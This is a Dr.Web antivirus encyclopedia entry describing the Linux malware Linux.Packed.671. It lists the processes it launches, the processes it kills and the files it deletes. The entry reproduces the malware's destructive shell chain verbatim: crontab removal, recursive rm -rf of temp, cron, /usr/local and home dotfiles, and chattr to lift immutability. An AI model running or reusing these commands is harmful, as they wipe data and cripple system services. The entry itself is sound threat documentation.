Linux.Packed.671
Added to the Dr.Web virus database:
2019-10-31
Virus description added:
2019-10-31
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Launches processes:
- sh -c crontab -r ; rm -rf /home/j*/.* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; rm -rf /usr/local/*/* ; rm -rf /etc/cro* ; rm -rf /var/cach/*/* ; rm -rf /var/spool/cro*/cront*/* ; rm -rf /home/*/.ba* ; >/dev/null 2>&1
- crontab -r
- rm -rf /home/j*/.*
- rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
- rm -rf /tmp/*
- atq
- awk {print $1}
- chattr -R -i /tmp/*
- rm -rf /tmp/. /tmp/..
- rm -rf /dev/shm/*
- rm -rf /var/tmp/*
- rm -rf /var/tmp/. /var/tmp/..
- chattr -R -i /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs /var/spool/exim4/db /var/spool/exim4/input /var/spool/exim4/msglog
- rm -rf /var/spool/exim4/input/1ahTzp-0002FZ-0L-D /var/spool/exim4/input/1ahUKa-0002Fm-0o-D
- rm -rf /usr/local/lib/python2.7 /usr/local/lib/python3.4 /usr/local/share/ca-certificates /usr/local/share/emacs /usr/local/share/fonts /usr/local/share/man /usr/local/share/sgml /usr/local/share/texmf /usr/local/share/xml
- rm -rf /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/crontab
- rm -rf /var/cach/*/*
- rm -rf /var/spool/cro*/cront*/*
- rm -rf /home/user/.bash_logout /home/user/.bashrc
Kills system processes:
Kills the following processes:
- run.sh
- bash
- acpid
- cron
- systemd
Performs operations with the file system:
Deletes files:
- /home/j*/.*
- /tmp/.ICE-unix
- /tmp/*
- /dev/shm/*
- /var/tmp/*
- /var/spool/exim4/input/1ahTzp-0002FZ-0L-D
- /var/spool/exim4/input/1ahUKa-0002Fm-0o-D
- /usr/local/share/man
- /var/spool/cron/atjobs/.placeholder
- /var/spool/cron/atjobs/passwd
- /var/spool/cron/atjobs/aptitude
- /var/spool/cron/atjobs/mlocate
- /var/spool/cron/atjobs/logrotate
- /var/spool/cron/atjobs/apt
- /var/spool/cron/atjobs/bsdmainutils
- /var/spool/cron/atjobs/dpkg
- /var/spool/cron/atjobs/man-db
- /var/spool/cron/atjobs/exim4-base
- /etc/crontab
- /var/cach/*/*
- /var/spool/cro*/cront*/*
- /home/user/.bash_logout
- /home/user/.bashrc
Curing recommendations
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